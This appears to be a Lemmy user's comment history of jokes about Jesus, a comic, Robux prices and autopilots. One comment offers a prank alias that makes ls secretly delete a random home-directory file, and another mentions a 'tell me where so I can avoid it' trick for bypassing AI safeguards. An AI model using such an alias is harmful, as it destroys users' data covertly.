It would look cool under the rain

Jesus instantly vaporizing because technically there is ice in mars and he gets shot up is really funny but I think he can turn off the power at will and adjust the range

[-] programmer_belch@lemmy.dbzer0.com 10 points 23 hours ago

The water falls around him without wetting him, if it rains hard enough it would look like a water bubble so yes.

The answer to the question depends on if Jesus walks over water or on water. I think the idea of him not being able to bath without disabling his habilities is funnier so he would go down the river as if it were an icy slope, behaving as a drop of a highly hydrophobic substance.

> Get con train going 250 km/h

> Jump

> Nothing is connecting me to the train

> Fly back and break my spine against the wagon doors

Space king mentioned!!

Did you know that one in three aliens have a weapon built into their physiology? Are aliens inherently violent?

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Jesus, rule the wheel (files.catbox.moe)

Artist: Centurii-chan bluesky

Alt TextTwo panel comic inside a car with two characters in the first panel.

The passenger, a voluptuous woman, says "Thanks for picking me up. I know how much you dislike driving."

The driver answers "no problemo, we're just gonna take a detour if you don't mind"

Next panel the passenger says "I really appreciate it, even if you were 4 hours away. You are a really good friend"

A sign warning the road gets bumpy can be seen outside the passenger window.

[-] programmer_belch@lemmy.dbzer0.com 255 points 2 years ago

The autopilot will turn off just before hitting them to make you liable anyway

[-] programmer_belch@lemmy.dbzer0.com 165 points 2 years ago

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

[-] programmer_belch@lemmy.dbzer0.com 103 points 2 years ago

This map is somewhay misleading, some countries use currency without decimals, making their currency worth effectively less. Take for example the euro, a cent (a one hundredth of an euro) is cerntainly worth less than a robux while an euro isn't. The same comparison with the japanese yen (efectively a cent) shows that robux is more valuable. The map should be how many robux can you buy with the minimum wage for example.

[-] programmer_belch@lemmy.dbzer0.com 260 points 2 years ago

I can't believe that the old "tell me where so I can avoid it" worked, the ai really has the intelligence of a 5yo

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